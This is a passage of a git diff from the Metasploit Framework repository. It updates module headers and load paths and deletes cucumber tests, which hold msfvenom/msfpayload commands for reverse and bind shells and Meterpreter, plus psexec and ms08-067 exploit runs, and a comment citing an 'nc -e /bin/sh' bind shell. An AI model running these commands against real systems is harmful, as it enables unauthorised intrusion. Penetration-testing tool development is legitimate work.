b/spec/tools/virustotal_spec.rb index 11624df319..a3250f3855 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -2,7 +2,6 @@ require 'spec_helper' load Metasploit::Framework.root.join('tools/virustotal.rb').to_path -require 'fastlib' require 'msfenv' require 'msf/base' require 'digest/sha2' diff --git a/test/features/data/test.exe b/test/features/data/test.exe deleted file mode 100644 index 792d600548..0000000000 --- a/test/features/data/test.exe +++ /dev/null @@ -1 +0,0 @@ -# diff --git a/test/features/encoders.feature b/test/features/encoders.feature deleted file mode 100644 index 2eff0c65a5..0000000000 --- a/test/features/encoders.feature +++ /dev/null @@ -1,18 +0,0 @@ -#This feature contains scenarios that test the various encoders within the metasploit framework - -@announce-stdout - -Feature: As a Metasploit Framework user - I want to user encoders - So that I can encode various payloads I might use for attacks - -Scenario: Create a windows tcp bind payload using the x86/unicode mixed encoder - When I run msfvenom to encode for windows using the "x86/unicode_mixed" encoder with "-i 1" options and a buffer register - #When I run `./msfvenom -p windows/shell/bind_tcp -e x86/unicode_mixed -i 1 BufferRegister=eax` interactively - Then the output should contain "x86/unicode_mixed succeeded with size" - -Scenario: Create a windows tcp bind payload encoded with x86 alpha mixed - When I run msfvenom to encode for windows using the "x86/alpha_mixed" encoder with "-b '\x00' -i 1" options - #When I run `./msfvenom -p windows/shell/bind_tcp -e x86/alpha_mixed -b '\x00' -i 1` interactively - Then the output should contain "x86/alpha_mixed succeeded with size" - diff --git a/test/features/handler.feature b/test/features/handler.feature deleted file mode 100644 index 3c3a64c539..0000000000 --- a/test/features/handler.feature +++ /dev/null @@ -1,19 +0,0 @@ -#This feature contains scenarios that test different handlers within the metasploit framework -@announce - -Feature: As a MS Framework User - I want to launch various handlers - So the framework can properly handle input and output from exploits - -Scenario: Launching the exploit multi handler in Check mode - When I run `./msfcli exploit/multi/handler C` - Then the output should contain "module tree" - Then the output should contain "This exploit does not support check." - -Scenario: Launching the generic multi handler in Check mode - When I run `./msfcli multi/handler C` - Then the output should contain "module tree" - Then the output should contain "This exploit does not support check." - - - diff --git a/test/features/payloads.feature b/test/features/payloads.feature deleted file mode 100644 index 8c50d4262b..0000000000 --- a/test/features/payloads.feature +++ /dev/null @@ -1,24 +0,0 @@ -#This feature contains scenarios to test the ability to run/access payloads from the metasploit framework - -Feature: I want access to Metasploit payloads - So that I can define payload options for exploits - -Scenario: Verify the windows shell reverse tcp payload option in ruby - When I run msfpayload to generate a "windows/shell_reverse_tcp" on the local host - Then the output should contain "# windows/shell_reverse_tcp" - Then the output should contain "# http://www.metasploit.com" - -Scenario: Verify the windows x64 shell reverse tcp payload option in ruby - When I run msfpayload to generate a "windows/x64/shell_reverse_tcp" on the local host - Then the output should contain "# windows/x64/shell_reverse_tcp" - Then the output should contain "# http://www.metasploit.com" - -Scenario: Verify the linux x86 shell reverse tcp payload option in ruby - When I run msfpayload to generate a "linux/x86/shell_reverse_tcp" on the local host - Then the output should contain "# linux/x86/shell_reverse_tcp" - Then the output should contain "# http://www.metasploit.com" - -Scenario: Verify the windows meterpreter reverse tcp payload can output its contents in ruby - When I run msfpayload to generate a "windows/meterpreter/reverse_tcp" on the local host - Then the output should contain "# windows/meterpreter/reverse_tcp - 290 bytes (stage 1)" - Then the output should contain "# http://www.metasploit.com" diff --git a/test/features/steps/common_steps.rb b/test/features/steps/common_steps.rb deleted file mode 100644 index 21620e30d6..0000000000 --- a/test/features/steps/common_steps.rb +++ /dev/null @@ -1,31 +0,0 @@ -#This is the step definition file for common framework testing steps or meta steps - -When /^I run the "([^"]*)" exploit with standard target options$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} E` interactively - } - end - -When /^I run the "([^"]*)" exploit with standard target options in check mode$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} C` interactively - } - end - -When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options}` interactively - } - end - -When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options and a buffer register$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options} BufferRegister=eax` interactively - } - end - -When /^I run msfpayload to generate a "([^"]*)" on the local host$/ do |payload| - steps %Q{ - When I run `./msfpayload #{payload} LHOST=127.0.0.1 y` - } - end \ No newline at end of file diff --git a/test/features/steps/handler_steps.rb b/test/features/steps/handler_steps.rb deleted file mode 100644 index 9660708856..0000000000 --- a/test/features/steps/handler_steps.rb +++ /dev/null @@ -1,23 +0,0 @@ -#This is the step definition file for cucumber features relating to the framework handler feature - - Given /^I launch the exploit multi handler$/ do - steps %Q{ - - When I run `./msfcli exploit/multi/handler E` - Then the output should contain "Please wait while we load the module tree..." - Then the output should contain "Started reverse handler on" - Then the output should contain "Starting the payload handler..." - - } - end - -Given /^I launch the generic multi handler$/ do - steps %Q{ - - When I run `./msfcli multi/handler E` - Then the output should contain "Please wait while we load the module tree..." - Then the output should contain "Started reverse handler on" - Then the output should contain "Starting the payload handler..." - - } - end diff --git a/test/features/support/.gitignore b/test/features/support/.gitignore deleted file mode 100644 index 10eca368d9..0000000000 --- a/test/features/support/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -# These files are to be excluded from git # - -test_config.yml diff --git a/test/features/support/env.rb b/test/features/support/env.rb deleted file mode 100644 index 9a60d7d973..0000000000 --- a/test/features/support/env.rb +++ /dev/null @@ -1,25 +0,0 @@ -#Cucumber automation environment setup class for MSF Testing - -require 'cucumber' -require 'aruba/cucumber' -require_relative 'test_config' - -Before do - # Automatically find the framework path - default_path = File.join(File.expand_path(File.dirname(__FILE__)), '../../../') - - # Add more paths manually if needed. For example: - # "/Users/gary/rapid7/framework" - @dirs = [default_path] - - @aruba_timeout_seconds = 150 -end - -Before('@slow_process') do - @aruba_io_wait_seconds = 150 -end - -@After -#after automation execution methods go here - - diff --git a/test/features/support/test_config.rb b/test/features/support/test_config.rb deleted file mode 100644 index 8c1c5b9b77..0000000000 --- a/test/features/support/test_config.rb +++ /dev/null @@ -1,44 +0,0 @@ -#Test config class provides public methods or varables to use for ever test -#Includes housing data such as default web site to test, time out varaibels, etc -require 'singleton' -class TestConfig - include Singleton - - def initialize(*args) - - yml_path = File.join(File.dirname(__FILE__),'test_config.yml') - - if File.exists?(yml_path) - @yaml_options = YAML::load(File.open(yml_path)) - else - @yaml_options = {} - end - - @options = { - "rhost" => "localhost", - "smbuser" => "user", - "smbpass" => "password" - } - end - - def run_server - @options[:define_site].nil? - end - - def method_missing(method) - if @options.has_key? method.to_s - return @options[method.to_s] - else - super - end - end - -def respond_to?(method_sym, include_private = false) - if @options.include? method_s - true - else - super - end - end - -end diff --git a/test/features/windows_exploits.feature b/test/features/windows_exploits.feature deleted file mode 100644 index 5739874cd9..0000000000 --- a/test/features/windows_exploits.feature +++ /dev/null @@ -1,31 +0,0 @@ -#This feature contains scenarios that test running exploits related to microsft windows platforms - -@announce-stdout - -Feature: I want to launch Windows based exploits - So that I can hack Windows targets - So that I can prove how totally unsecured Windows can be - -Scenario: Launch Psexec against a Windows Host - When I run the "./msfcli windows/smb/psexec" exploit with standard target options - Then the output should contain "445|WORKGROUP as user" - Then the output should contain "module tree" - -Scenario: Launch PSexec in Internal Check Mode - When I run the "./msfcli windows/smb/psexec" exploit with standard target options in check mode - Then the output should contain "module tree" - Then the output should contain "This exploit does not support check." - -Scenario: Launch ms08-067 in Internal Check Mode - When I run the "./msfcli windows/smb/ms08_067_netapi" exploit with standard target options in check mode - #When I run `./msfcli windows/smb/ms08_067_netapi RHOST=10.6.0.194 C` interactively - Then the output should contain "module tree" - Then the output should not contain "Check failed:" - -Scenario: Launch ms08-067 against a windows remote host - When I run the "./msfcli windows/smb/ms08_067_netapi" exploit with standard target options - Then the output should contain "module tree" - Then the output should contain "Started reverse handler" - - - diff --git a/test/modules/auxiliary/test/capture.rb b/test/modules/auxiliary/test/capture.rb index 766a833bab..4e05e343fc 100644 --- a/test/modules/auxiliary/test/capture.rb +++ b/test/modules/auxiliary/test/capture.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Network Capture Tester', - 'Version' => '$Revision$', 'Description' => 'This module sniffs HTTP GET requests from the network', 'Author' => 'hdm', 'License' => MSF_LICENSE, diff --git a/test/modules/auxiliary/test/check.rb b/test/modules/auxiliary/test/check.rb index b04ab8ac23..28d75be440 100644 --- a/test/modules/auxiliary/test/check.rb +++ b/test/modules/auxiliary/test/check.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/test/modules/auxiliary/test/eth_spoof.rb b/test/modules/auxiliary/test/eth_spoof.rb index 640718fda3..087adf1282 100644 --- a/test/modules/auxiliary/test/eth_spoof.rb +++ b/test/modules/auxiliary/test/eth_spoof.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Ethernet Frame Spoofer', - 'Version' => '$Revision$', 'Description' => 'This module sends spoofed ethernet frames', 'Author' => 'hdm', 'License' => MSF_LICENSE, diff --git a/test/modules/auxiliary/test/ftp_data.rb b/test/modules/auxiliary/test/ftp_data.rb index 415e41b94a..8f22c67c49 100644 --- a/test/modules/auxiliary/test/ftp_data.rb +++ b/test/modules/auxiliary/test/ftp_data.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -18,7 +12,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'FTP Client Exploit Mixin DATA test Exploit', - 'Version' => '$Revision$', 'Description' => 'This module tests the "DATA" functionality of the ftp client exploit mixin.', 'Author' => [ 'Thomas Ring', 'jduck' ], 'License' => MSF_LICENSE diff --git a/test/modules/auxiliary/test/heaplib2.rb b/test/modules/auxiliary/test/heaplib2.rb index a4e66243bd..d50c432964 100644 --- a/test/modules/auxiliary/test/heaplib2.rb +++ b/test/modules/auxiliary/test/heaplib2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/test/modules/auxiliary/test/httpserver.rb b/test/modules/auxiliary/test/httpserver.rb index b40819d862..8fc667d5c4 100644 --- a/test/modules/auxiliary/test/httpserver.rb +++ b/test/modules/auxiliary/test/httpserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/test/modules/auxiliary/test/ip_spoof.rb b/test/modules/auxiliary/test/ip_spoof.rb index 9cd164b8ee..50dc2f8ef4 100644 --- a/test/modules/auxiliary/test/ip_spoof.rb +++ b/test/modules/auxiliary/test/ip_spoof.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple IP Spoofing Tester', - 'Version' => '$Revision$', 'Description' => 'Simple IP Spoofing Tester', 'Author' => 'hdm', 'License' => MSF_LICENSE diff --git a/test/modules/auxiliary/test/recon_passive.rb b/test/modules/auxiliary/test/recon_passive.rb index 45f24575e4..dfd7a23b8e 100644 --- a/test/modules/auxiliary/test/recon_passive.rb +++ b/test/modules/auxiliary/test/recon_passive.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', 'Description' => 'Simple Recon Module Tester', 'Author' => 'hdm', 'License' => MSF_LICENSE, diff --git a/test/modules/auxiliary/test/scanner_batch.rb b/test/modules/auxiliary/test/scanner_batch.rb index f11d518158..d9e8a346d7 100644 --- a/test/modules/auxiliary/test/scanner_batch.rb +++ b/test/modules/auxiliary/test/scanner_batch.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', 'Description' => 'Simple Recon Module Tester', 'Author' => 'hdm', 'License' => MSF_LICENSE diff --git a/test/modules/auxiliary/test/scanner_host.rb b/test/modules/auxiliary/test/scanner_host.rb index 828e331162..2f9ff8475e 100644 --- a/test/modules/auxiliary/test/scanner_host.rb +++ b/test/modules/auxiliary/test/scanner_host.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', 'Description' => 'Simple Recon Module Tester', 'Author' => 'hdm', 'License' => MSF_LICENSE diff --git a/test/modules/auxiliary/test/scanner_range.rb b/test/modules/auxiliary/test/scanner_range.rb index 59d5acfbf9..76210a771d 100644 --- a/test/modules/auxiliary/test/scanner_range.rb +++ b/test/modules/auxiliary/test/scanner_range.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', 'Description' => 'Simple Recon Module Tester', 'Author' => 'hdm', 'License' => MSF_LICENSE diff --git a/test/modules/auxiliary/test/space-check.rb b/test/modules/auxiliary/test/space-check.rb index a8a632d686..6e5fafe29a 100644 --- a/test/modules/auxiliary/test/space-check.rb +++ b/test/modules/auxiliary/test/space-check.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/test/modules/exploits/test/aggressive.rb b/test/modules/exploits/test/aggressive.rb index 28087e438e..293301faa3 100644 --- a/test/modules/exploits/test/aggressive.rb +++ b/test/modules/exploits/test/aggressive.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -23,7 +17,6 @@ class Metasploit3 < Msf::Exploit::Remote "This module tests the exploitation of a test service.", 'Author' => 'skape', 'License' => MSF_LICENSE, - 'Version' => '$Revision$', 'Arch' => 'x86', 'Payload' => { diff --git a/test/modules/exploits/test/browserexploitserver.rb b/test/modules/exploits/test/browserexploitserver.rb index 1d45f210d6..7b27f3c647 100644 --- a/test/modules/exploits/test/browserexploitserver.rb +++ b/test/modules/exploits/test/browserexploitserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/test/modules/exploits/test/check.rb b/test/modules/exploits/test/check.rb index 52d0e0c10f..4bbcca8b98 100644 --- a/test/modules/exploits/test/check.rb +++ b/test/modules/exploits/test/check.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/test/modules/exploits/test/cmdweb.rb b/test/modules/exploits/test/cmdweb.rb index 016d25834b..e76a845025 100644 --- a/test/modules/exploits/test/cmdweb.rb +++ b/test/modules/exploits/test/cmdweb.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -26,7 +20,6 @@ class Metasploit3 < Msf::Exploit::Remote on an Apache Tomcat server. }, 'Author' => 'bannedit', - 'Version' => '$Revision$', 'References' => [ ], diff --git a/test/modules/exploits/test/dialup.rb b/test/modules/exploits/test/dialup.rb index a4f9b6cb60..c5a662edd2 100644 --- a/test/modules/exploits/test/dialup.rb +++ b/test/modules/exploits/test/dialup.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -23,7 +17,6 @@ class Metasploit3 < Msf::Exploit::Remote This exploit connects to a system's modem over dialup and provides the user with a readout of the login banner. }, - 'Version' => '$Revision$', 'Author' => [ 'I)ruid', diff --git a/test/modules/exploits/test/egghunter.rb b/test/modules/exploits/test/egghunter.rb index 8da86b65ad..7c4ca444c6 100644 --- a/test/modules/exploits/test/egghunter.rb +++ b/test/modules/exploits/test/egghunter.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -24,7 +18,6 @@ class Metasploit3 < Msf::Exploit::Remote "This module tests the exploitation of a test service using the Egghunter.", 'Author' => 'jduck', 'License' => MSF_LICENSE, - 'Version' => '$Revision$', 'Arch' => ARCH_X86, 'Payload' => { diff --git a/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb index 99a001c513..dd92b9309c 100644 --- a/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb +++ b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/test/modules/exploits/test/explib2_ie11_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb index 0740e74062..9ac473a9c4 100644 --- a/test/modules/exploits/test/explib2_ie11_exec_test_case.rb +++ b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/test/modules/exploits/test/exploitme.rb b/test/modules/exploits/test/exploitme.rb index a2b7b4411a..7a728b1a1b 100644 --- a/test/modules/exploits/test/exploitme.rb +++ b/test/modules/exploits/test/exploitme.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -22,7 +16,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => 'This module tests the exploitation of a test service', 'Author' => ['skape', 'Julien Tinnes <julien[at]cr0.org>'], 'License' => MSF_LICENSE, - 'Version' => '$Revision$', #'Arch' => ARCH_MIPSBE, 'Payload' => { diff --git a/test/modules/exploits/test/java_tester.rb b/test/modules/exploits/test/java_tester.rb index 464e3e938e..654901ffc2 100644 --- a/test/modules/exploits/test/java_tester.rb +++ b/test/modules/exploits/test/java_tester.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -21,7 +15,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt' ], - 'Version' => '$Revision$', 'References' => [ ], 'Platform' => [ 'java', 'linux' ], 'Arch' => ARCH_JAVA, diff --git a/test/modules/exploits/test/kernel.rb b/test/modules/exploits/test/kernel.rb index 70b25dfd8c..5ca63ed3a4 100644 --- a/test/modules/exploits/test/kernel.rb +++ b/test/modules/exploits/test/kernel.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -27,7 +21,6 @@ class Metasploit3 < Msf::Exploit::Remote "This module tests the exploitation of a kernel-mode test service.", 'Author' => 'skape', 'License' => MSF_LICENSE, - 'Version' => '$Revision$', 'Arch' => 'x86', 'Payload' => { diff --git a/test/modules/exploits/test/shell.rb b/test/modules/exploits/test/shell.rb index 8cd284aa41..a961d3cbf8 100644 --- a/test/modules/exploits/test/shell.rb +++ b/test/modules/exploits/test/shell.rb @@ -1,12 +1,6 @@ ## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -24,7 +18,6 @@ class Metasploit3 < Msf::Exploit::Remote like: nc -l -p 31337 -e /bin/sh }, 'Author' => 'egypt', - 'Version' => '$Revision$', 'References' => [ ], 'DefaultOptions' => { }, 'Payload' => diff --git a/test/modules/post/test/extapi.rb b/test/modules/post/test/extapi.rb index adca64609d..3323bc8ad6 100644 --- a/test/modules/post/test/extapi.rb +++ b/test/modules/post/test/extapi.rb @@ -2,7 +2,8 @@ require 'msf/core' require 'rex' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' class Metasploit4 < Msf::Post diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index f5b2061ea1..afc414fdf1 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -1,5 +1,7 @@ +require 'msf/core' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' #load 'test/lib/module_test.rb' diff --git a/test/modules/post/test/get_env.rb b/test/modules/post/test/get_env.rb index 934dd40828..32dcb9376f 100644 --- a/test/modules/post/test/get_env.rb +++ b/test/modules/post/test/get_env.rb @@ -1,5 +1,6 @@ +require 'msf/core' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") require 'module_test' #load 'test/lib/module_test.rb' diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index 16dde5f61b..114baf5dae 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -2,7 +2,8 @@ require 'msf/core' require 'rex' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' class Metasploit4 < Msf::Post diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index e829b1e432..7b2c1f6daa 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -1,16 +1,15 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/post/windows/railgun' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' class Metasploit3 < Msf::Post diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index d22b3fc7aa..3241f6d1b2 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -1,16 +1,15 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' class Metasploit3 < Msf::Post diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index a09af403ec..08454fa920 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -6,7 +6,8 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/services' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' class Metasploit3 < Msf::Post diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb index a637c7ccac..e862a388d8 100644 --- a/test/modules/post/test/unix.rb +++ b/test/modules/post/test/unix.rb @@ -1,5 +1,7 @@ +require 'msf/core' -$:.push "test/lib" unless $:.include? "test/lib" +lib = File.join(Msf::Config.install_root, "test", "lib") +$:.push(lib) unless $:.include?(lib) require 'module_test' #load 'test/lib/module_test.rb' diff --git a/test/tests/test_encoders.rb b/test/tests/test_encoders.rb index 429b56f95c..c65d46c7bd 100644 --- a/test/tests/test_encoders.rb +++ b/test/tests/test_encoders.rb @@ -11,7 +11,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) -require 'fastlib' require 'msfenv' require 'msf/base' diff --git a/tools/cpassword_decrypt.rb b/tools/cpassword_decrypt.rb index 24439fc50e..3a1343268d 100755 --- a/tools/cpassword_decrypt.rb +++ b/tools/cpassword_decrypt.rb @@ -1,7 +1,7 @@ #!/usr/bin/env ruby ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' require 'rex' diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb index 